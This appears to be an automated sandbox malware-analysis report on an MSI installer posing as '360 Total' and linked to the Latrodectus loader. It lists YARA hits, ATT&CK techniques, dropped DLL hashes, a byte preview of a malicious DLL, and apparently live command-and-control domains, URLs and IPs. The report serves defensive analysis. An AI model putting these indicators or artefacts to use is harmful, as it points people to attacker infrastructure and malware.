Source: Yara match	File source: 6.2.rundll32.exe.1fb3ab60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.24739a10000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.210fea00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.210fe9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1fb3ab60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.24739a10000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.24739a40000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.24739a40000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.210fea00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3239594516.000002473B520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3239003691.0000005536378000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2009341046.00000210FE9F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2918615287.000002473B890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2009386305.00000210FEA00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3239304282.0000024739A40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.3072398215.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.3001961858.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2854188056.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1996565614.000001FB3AB60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3239248195.0000024739A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2624, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	1 Replication Through Removable Media	2 Native API	1 Valid Accounts	1 DLL Side-Loading	2 Obfuscated Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Windows Service	1 Valid Accounts	1 DLL Side-Loading	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Scheduled Task/Job	11 Access Token Manipulation	1 File Deletion	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Windows Service	121 Masquerading	LSA Secrets	47 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	112 Process Injection	1 Valid Accounts	Cached Domain Credentials	471 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	12 Virtualization/Sandbox Evasion	DCSync	12 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Access Token Manipulation	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	Embedded Payloads	Keylogging	21 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ad.msi	8%	ReversingLabs
ad.msi	8%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
:wtfbbq (copy)	5%	ReversingLabs
:wtfbbq (copy)	14%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSID3EB.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSID3EB.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSID498.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSID498.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSID4B9.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSID4B9.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSID4D9.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSID4D9.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSID509.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSID509.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSID529.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSID529.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\sharepoint\360total.dll	5%	ReversingLabs
C:\Users\user\AppData\Local\sharepoint\360total.dll	14%	Virustotal	Browse
C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll	5%	ReversingLabs
C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll	14%	Virustotal	Browse
C:\Windows\Installer\MSID69B.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID69B.tmp	0%	Virustotal	Browse
C:\Windows\Installer\MSID719.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID719.tmp	0%	Virustotal	Browse
C:\Windows\Installer\MSID8B1.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID8B1.tmp	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
jarinamaers.shop	1%	Virustotal		Browse
grizmotras.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
ftp://ftp%2desktop.ini	0%	Avira URL Cloud	safe
https://grizmotras.com/vider	0%	Avira URL Cloud	safe
https://jarinamaers.shop/1	0%	Avira URL Cloud	safe
https://grizmotras.com/videri	0%	Avira URL Cloud	safe
https://jarinamaers.shop/live/l	0%	Avira URL Cloud	safe
https://grizmotras.com/	0%	Avira URL Cloud	safe
https://wrankaget.site/live/	0%	Avira URL Cloud	safe
https://jarinamaers.shop/G	0%	Avira URL Cloud	safe
https://jarinamaers.shop/live/l	1%	Virustotal		Browse
https://pewwhranet.com/live/	0%	Avira URL Cloud	safe
https://wrankaget.site/live/	2%	Virustotal		Browse
https://jarinamaers.shop/	0%	Avira URL Cloud	safe
https://grizmotras.com/live/	0%	Avira URL Cloud	safe
https://jarinamaers.shop/1	1%	Virustotal		Browse
https://grizmotras.com/live/p	0%	Avira URL Cloud	safe
https://grizmotras.com/	1%	Virustotal		Browse
https://jarinamaers.shop/Y	0%	Avira URL Cloud	safe
https://grizmotras.com/live/xe	0%	Avira URL Cloud	safe
https://jarinamaers.shop/	0%	Virustotal		Browse
https://jarinamaers.shop/live/	0%	Avira URL Cloud	safe
https://jarinamaers.shop/live/K	0%	Avira URL Cloud	safe
https://grizmotras.com/live/URLS1https://pewwhranet.com/live/COMMAND4front://sysinfo.bin	0%	Avira URL Cloud	safe
https://grizmotras.com/live/	0%	Virustotal		Browse
https://jarinamaers.shop/live/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jarinamaers.shop	104.21.46.75	true	true	1%, Virustotal, Browse	unknown
grizmotras.com	172.67.219.28	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wrankaget.site/live/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://grizmotras.com/live/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://jarinamaers.shop/live/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jarinamaers.shop/1	rundll32.exe, 00000007.00000003.3199082000.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3239328472.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://grizmotras.com/videri	rundll32.exe, 00000007.00000003.3199082000.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grizmotras.com/vider	rundll32.exe, 00000007.00000002.3239328472.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pconf.f.360.cn/safe_update.php	rundll32.exe	false		high
https://jarinamaers.shop/live/l	rundll32.exe, 00000007.00000003.3199082000.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
ftp://ftp%2desktop.ini	rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr	false	Avira URL Cloud: safe	low
https://grizmotras.com/	rundll32.exe, 00000007.00000002.3239328472.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://jarinamaers.shop/G	rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pewwhranet.com/live/	rundll32.exe, 00000007.00000003.3137465440.000002473BA70000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137449195.000002473BAB0000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jarinamaers.shop/	rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pscan.f.360.cn/safe_update.php	rundll32.exe	false		high
http://dr.f.360.cn/scanlist	rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr	false		high
https://www.thawte.com/cps0/	ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	false		high
https://grizmotras.com/live/p	rundll32.exe, 00000007.00000003.3199082000.0000024739B27000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3239328472.0000024739B23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jarinamaers.shop/Y	rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pscan.f.360.cn/safe_update.phphttp://pconf.f.360.cn/safe_update.phphttp://sconf.f.360.cn/clie	rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr	false		high
https://www.thawte.com/repository0W	ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	false		high
https://grizmotras.com/live/xe	rundll32.exe, 00000007.00000002.3239328472.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sconf.f.360.cn/client_security_conf	rundll32.exe	false		high
https://jarinamaers.shop/live/K	rundll32.exe, 00000007.00000003.3199082000.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dr.f.360.cn/scan	rundll32.exe	false		high
https://www.advancedinstaller.com	ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	false		high
https://grizmotras.com/live/URLS1https://pewwhranet.com/live/COMMAND4front://sysinfo.bin	rundll32.exe, 00000007.00000003.3137465440.000002473BA70000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.46.75	jarinamaers.shop	United States		13335	CLOUDFLARENETUS	true
172.67.219.28	grizmotras.com	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431940
Start date and time:	2024-04-26 02:46:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ad.msi
Detection:	MAL
Classification:	mal100.spre.troj.evad.winMSI@38/31@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 40 Number of non-executed functions: 328
Cookbook Comments:	Found application associated with file extension: .msi

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:47:24	API Interceptor	5593916x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.219.28	360total.dll.dll	Get hash	malicious	Latrodectus	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jarinamaers.shop	Document_a19_79b555791-28h97348k5477-3219g9.js	Get hash	malicious	Latrodectus	Browse	172.67.136.103
jarinamaers.shop	360total.dll.dll	Get hash	malicious	Latrodectus	Browse	172.67.136.103
grizmotras.com	Document_a19_79b555791-28h97348k5477-3219g9.js	Get hash	malicious	Latrodectus	Browse	104.21.59.82
	360total.dll.dll	Get hash	malicious	Latrodectus	Browse	172.67.219.28
	Util.dll	Get hash	malicious	Bazar Loader, Latrodectus	Browse	104.21.59.82

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://ndw5xvotehflt.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	104.21.53.38
	https://cnmxukx5efilc7lvlel.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	172.66.44.161
	https://m7qfa5ng4lp7.blob.core.windows.net/m7qfa5ng4lp7/1.html?4rKpnF7821CfLO43wsacrvmomp962ETPJQJTKIDNZNNV65316UFUY14332V14#14/43-7821/962-65316-14332	Get hash	malicious	Phisher	Browse	104.18.26.50
	https://bocmyw606y.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	172.66.44.172
	https://uporniacomnuvidx.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	https://markssmith.icu/23d80j2d/qwd13d8jqd/index.html?13813e8=0101%2048076%2044139&13813e8=https://playgames5.net	Get hash	malicious	TechSupportScam	Browse	104.21.12.42
	https://tron2qk6vdl.z13.web.core.windows.net/Wind0s01Ersys44/index.html	Get hash	malicious	TechSupportScam	Browse	104.21.53.38
	https://aulixalrrydrea.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	172.66.47.90
	https://purexxfilmsjoybear.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.18.11.207
	https://pub-9af459faa3e54a63ae5d1f2be8790ad0.r2.dev/get-authenticated.html	Get hash	malicious	Unknown	Browse	104.16.123.96
CLOUDFLARENETUS	https://ndw5xvotehflt.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	104.21.53.38
	https://cnmxukx5efilc7lvlel.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	172.66.44.161
	https://m7qfa5ng4lp7.blob.core.windows.net/m7qfa5ng4lp7/1.html?4rKpnF7821CfLO43wsacrvmomp962ETPJQJTKIDNZNNV65316UFUY14332V14#14/43-7821/962-65316-14332	Get hash	malicious	Phisher	Browse	104.18.26.50
	https://bocmyw606y.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	172.66.44.172
	https://uporniacomnuvidx.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	https://markssmith.icu/23d80j2d/qwd13d8jqd/index.html?13813e8=0101%2048076%2044139&13813e8=https://playgames5.net	Get hash	malicious	TechSupportScam	Browse	104.21.12.42
	https://tron2qk6vdl.z13.web.core.windows.net/Wind0s01Ersys44/index.html	Get hash	malicious	TechSupportScam	Browse	104.21.53.38
	https://aulixalrrydrea.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	172.66.47.90
	https://purexxfilmsjoybear.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.18.11.207
	https://pub-9af459faa3e54a63ae5d1f2be8790ad0.r2.dev/get-authenticated.html	Get hash	malicious	Unknown	Browse	104.16.123.96

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Document_a19_79b555791-28h97348k5477-3219g9.js	Get hash	malicious	Latrodectus	Browse	104.21.46.75 172.67.219.28
	360total.dll.dll	Get hash	malicious	Latrodectus	Browse	104.21.46.75 172.67.219.28
	SecuriteInfo.com.MSExcel.CVE_2017_0199.DDOC.exploit.32374.20351.xlsx	Get hash	malicious	Unknown	Browse	104.21.46.75 172.67.219.28
	SecuriteInfo.com.Win32.Malware-gen.9746.16728.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.46.75 172.67.219.28
	ProconGO1121082800.LnK.lnk	Get hash	malicious	Unknown	Browse	104.21.46.75 172.67.219.28
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.21.46.75 172.67.219.28
	Version.125.7599.75.js	Get hash	malicious	SocGholish	Browse	104.21.46.75 172.67.219.28
	Database4.exe	Get hash	malicious	Unknown	Browse	104.21.46.75 172.67.219.28
	lzShU2RYJa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.46.75 172.67.219.28

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\MSID3EB.tmp	Document_a19_79b555791-28h97348k5477-3219g9.js	Get hash	malicious	Latrodectus	Browse
	avp.msi	Get hash	malicious	Unknown	Browse
	Cheater Pro 1.6.0.msi	Get hash	malicious	Unknown	Browse
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse
	payload.js	Get hash	malicious	Unknown	Browse
	payload.js	Get hash	malicious	Unknown	Browse
	Doc_m42_81h118103-88o62135w8623-1999q9.js	Get hash	malicious	Unknown	Browse
	avp.msi	Get hash	malicious	Unknown	Browse
	sharepoint.msi	Get hash	malicious	Unknown	Browse
:wtfbbq (copy)	Document_a19_79b555791-28h97348k5477-3219g9.js	Get hash	malicious	Latrodectus	Browse
:wtfbbq (copy)	360total.dll.dll	Get hash	malicious	Latrodectus	Browse

Created / dropped Files

:wtfbbq (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	906752
Entropy (8bit):	6.2833336520446625
Encrypted:	false
SSDEEP:	12288:gfPSAAUHV4fZUv/TrguVTax7hNRu18VA8JFoxMk/wYeDKDMyAmp:qPSAAUHV4fZUvfgmaxpu1F8J6xMYHMBS
MD5:	74143402C40AC2E61E9F040A2D7E2D00
SHA1:	4053DC85BB86C47C63F96681D6A62C21CD6342A3
SHA-256:	1625AC230AA5CA950573F3BA0B1A7BD4C7FBD3E3686F9ECD4A40F1504BF33A11
SHA-512:	4AA55B859F15BE8B14C4A0FF6F3971F49B47C1C8C8427F179EB4AB0C76E321441ADFD173469FACB12AAE1E81E25F1328FD621214B42E66F690BA4E9EE1E54CF9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 14%, Browse
Joe Sandbox View:	Filename: Document_a19_79b555791-28h97348k5477-3219g9.js, Detection: malicious, Browse Filename: 360total.dll.dll, Detection: malicious, Browse
Preview:	MZ......................@...................................h...........!..L.!This program cannot be run in DOS mode....$........,>5.MPf.MPf.MPf.<Qg.MPf..Qg.MPf.%Tg.MPf.%Sg.MPf.&Ug.MPf-$Qg.MPf.<Ug.MPf.<Ug.MPf+.f.MPf/$Tg.MPf.Ug.MPf.Tg.MPf/$Ug.MPf.$Ug.MPf.%Ug.MPf.&Tg.MPf.&Vg.MPf.&Qg.MPf.MQfoLPf.$Yg.MPf.$Pg.MPf.$.f.MPf.M.f.MPf.$Rg.MPfRich.MPf................PE..d...:5.`..........# .....J..........`........................................@............ ..........................................+......`,..,....0...........d......H?...@..........T.......................(....................`...............................text...(I.......J.................. ..`.rdata.......`.......N..............@..@.data....e...P...0...<..............@....pdata...d.......f...l..............@..@.rsrc........0......................@..@.reloc.......@......................@..ByhDm^........P.........................@.........^EbkSBi$)eAX>u5kZ*^3GxY+_By3IAMem4Y^@h^vhh6CfaeU6j.....................................

C:\Config.Msi\5fd5a2.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	1207
Entropy (8bit):	5.671757573805521
Encrypted:	false
SSDEEP:	24:egyI269VE6jIMaI3I4iItRpU/FPPiNiDDhiSrokfXLK:eBO99jhaxt+b8PPiNiDD8Sr2
MD5:	450C8CD21F938D9DE3DDB11B623C0794
SHA1:	BC841061E5B478302A49DB39E9763C86F6016456
SHA-256:	FB59730844CC246398429AD1FF121157B2E48B9F0F03F7FCA5B23C8CB0E56426
SHA-512:	22B3CC2381C43F7FA293C81F547D12579D4706F3EA299A72576CCB121128E47101EF3A7198D03DDAF296810DDF4F12772F1E7208663BAE7A9F4F715857FBB4CE
Malicious:	false
Preview:	...@IXOS.@.....@...X.@.....@.....@.....@.....@.....@......&.{B135729E-0574-44D1-B7A1-6E44550F506B}..360 Total..ad.msi.@.....@.....@.....@........&.{805E70A6-23C0-4688-BBAF-6F995BB72730}.....@.....@.....@.....@.......@.....@.....@.......@......360 Total......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{B48CC27C-9823-4256-8235-834BFD2D0DBB}&.{B135729E-0574-44D1-B7A1-6E44550F506B}.@......&.{4A323D5F-6D73-4C26-8E39-BE8928DA13EB}&.{B135729E-0574-44D1-B7A1-6E44550F506B}.@......&.{ADF9F598-7B84-45C9-B1CA-E80968A538BA}&.{B135729E-0574-44D1-B7A1-6E44550F506B}.@........CreateFolders..Creating folders..Folder: [1]#.7.C:\Users\user\AppData\Roaming\HuMaster LLC\360 Total\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]..).C:\Users\user\AppData\Local\sharepoint\....5.C:\Users\user\AppData\Local\sharepoint\360total.dll....WriteRegistryValues..Writing system registry

C:\Users\user\AppData\Local\Temp\MSID3EB.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Document_a19_79b555791-28h97348k5477-3219g9.js, Detection: malicious, Browse Filename: avp.msi, Detection: malicious, Browse Filename: Cheater Pro 1.6.0.msi, Detection: malicious, Browse Filename: Cheat Lab 2.7.2.msi, Detection: malicious, Browse Filename: payload.js, Detection: malicious, Browse Filename: payload.js, Detection: malicious, Browse Filename: Doc_m42_81h118103-88o62135w8623-1999q9.js, Detection: malicious, Browse Filename: avp.msi, Detection: malicious, Browse Filename: sharepoint.msi, Detection: malicious, Browse
